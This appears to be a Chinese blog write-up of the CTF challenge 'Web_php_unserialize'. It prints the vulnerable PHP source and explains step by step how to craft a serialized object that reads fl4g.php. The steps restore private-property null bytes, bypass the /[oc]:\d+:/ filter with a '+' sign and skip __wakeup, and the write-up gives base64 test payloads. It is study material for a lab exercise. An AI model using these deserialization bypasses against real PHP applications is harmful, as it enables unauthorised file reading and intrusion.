Web_php_unserialize
2021/9/19 20:04:59
本文主要是介绍Web_php_unserialize,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
题目源码:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
在Demo函数里又看见了wakeup函数,应该会涉及到反序列化
看到下面的if判断语句,他先判断了,是否有var这个参数,如果有就将他base64解码,然后将解码后的值做正则匹配
正则匹配条件分析:/[oc]:\d+:/i
oc:代表这块区域用来匹配o或者c
\d:代表一个数字字符
+:代表可以匹配多次
/i:匹配时不区分大小写
总结下来他匹配的对象大概张这样:
o:4: (两个冒号之间为数字,第一个冒号前面为o或者c的大小写)
这里看判断条件,一旦正则匹配上了,程序就会停止,所以我们只能走下面的那个else条件,else中给了一个unserialize(),这个就是反序列化的操作,他的反向操作是serialize()
上面那个wakeup()函数在调用反序列化的操作时会首先执行,他的执行条件是判断file参数值是否为index.php,如果不是则换成他,并且他在里面提示了fl4g.php文件,那我们的目的应该就是访问这个fl4g文件,可是我们的文件名一旦不为index时,便会强制替换为index,所以分析到这里就知道,应该去使用上次我们利用的那个绕过wakeup函数的方法。
在本地搭建环境
将Demo函数复制过来
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $a = new Demo('1.php'); $b = serialize($a); echo "</br>"; print_r($b); ?>
运行结果:
O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";} <?php echo "这是1.php文件"; ?>
可以看到结果中已经将1.php文件的代码高亮显示。
其中O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";}
这个是对象a序列化后的结果,后面的1.php就是我们要访问的内容。
ps:这里可以发现wakeup中的内容并没有执行,这是因为这个wakeup只有在调用unserialize函数时才会执行, __construct($file):这个函数会在构造函数时读入一个值做参数 __destruct():这个函数会在程序销毁时执行(有点像C++中的析构函数)
这里我卡了很久,无论我怎么改,都没办法修改这个对象的属性值,后来发现不是无法修改,而是他没执行构造函数,所以导致这个文件名并没有读入,然后我就去研究为什么这个构造函数没有执行。
这里算是踩了个坑啊,回头检查可以发现,10后面对应的那个值:Demofile,这里明明只有8个字符,何来10个字符?(这是php执行给的结果,所以这肯定不会是错的)
查阅资料后知道,private属性被序列化的时候属性值会变成\x00类名\x00属性名,其中:\x00表示空字符,但是还是占用一个字符位置,这就是为什么上面serialize($a)执行后的序列化字符串中属性file变成Demofile,长度为10。
修改代码,证明结论:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; echo "构造函数执行!!"; } function __destruct() { echo @highlight_file($this->file, true); echo "析构函数执行!!"; } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php //$this->file = 'index.php'; } } } $a = new Demo('1.php'); $b = base64_encode(serialize($a)); echo "</br>"; print_r($b); echo "</br>"; $c = 'O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";}';//将序列化后的值直接复制过来 print_r(base64_encode($c)); //@unserialize($c); ?>
结果:
构造函数执行!! Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjU6IjEucGhwIjt9 Tzo0OiJEZW1vIjoxOntzOjEwOiJEZW1vZmlsZSI7czo1OiIxLnBocCI7fQ== <?php echo "这是1.php文件"; ?> 析构函数执行!!
可以明显的看到,两次的base64编码有差异,可以证明浏览器将这个\x00给干掉了,这一点,不细细观察真的感觉不出来。
那这一题就不能简单复制粘贴了,需要用到16进制编辑器将浏览器给过滤掉的东西补回去。
这里burpsuite可以很方便的实现,所以直接上工具!
将内容复制进decoder模块,然后点击hex,转为16进制,我们需要在少内容的地方将那两个空字符补上,根据\x00类名\x00属性名,可以知道,我们应该在D的前面和f的前面添加上这两个空字符。
这里的44代表D,66代表f
添加完后将其base64编码,不然浏览器又会把他干掉了,再次修改代码,测试能否执行:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; echo "构造函数执行!!"; } function __destruct() { echo @highlight_file($this->file, true); echo "析构函数执行!!"; } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php //$this->file = 'index.php'; //先注释掉这块,主要测试构造函数 } } } $c = 'Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjU6IjEucGhwIjt9'; //print_r(base64_encode($c)); $d = base64_decode($c); @unserialize($d); ?>
运行结果:
<?php echo "这是1.php文件"; ?> 析构函数执行!!
看到效果了,执行成功了,但是可以观察到的是,构造函数依旧没有执行,这说明在反序列化的过程中,并没有涉及到这一步。
知道了这么多东西,就可以回来看题目了,但题目中还有一个条件是,参数中不能包含数字,由于序列化后的字符串是包含数字的,所以这又该怎么过?
这里绕过数字,其实质也是绕过preg_match()函数,那这就又需要上网搜集知识点了
其中+号可以实现绕过(+号代表空格)
其他的可能绕过的方法:
-
true可以代替数字1
PHP中true为弱类型,true+true的值为2
-
异或法可以替代一些内容
str = r"~!@#$%^&*()_+<>?,.;:-[]{}/" for i in range(0, len(str)): for j in range(0, len(str)): a = ord(str[i])^ord(str[j]) print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
这里肯定是选最简单的加号绕过
中间那个2就不重复解释了,wakeup的漏洞,编码后提交即可得到flag!
终于做完了@_@
这篇关于Web_php_unserialize的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-19php8的协程和hyperf的协程有什么区别?-icode9专业技术文章分享
- 2024-12-19php8 的fiber是什么?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-11-29使用PHP 将ETH账户的资产汇集到一个账户
- 2024-11-23怎么实现安卓+php 热更新方案?-icode9专业技术文章分享
- 2024-11-22PHP 中怎么实现判断多个值是否为空、null 或者为 false?-icode9专业技术文章分享
- 2024-11-11开源 PHP 商城项目 CRMEB 二次开发和部署教程
- 2024-11-09怎么使用php在kaufland平台刊登商品?-icode9专业技术文章分享
- 2024-11-05PHP的抽象类和接口是什么,有什么区别-icode9专业技术文章分享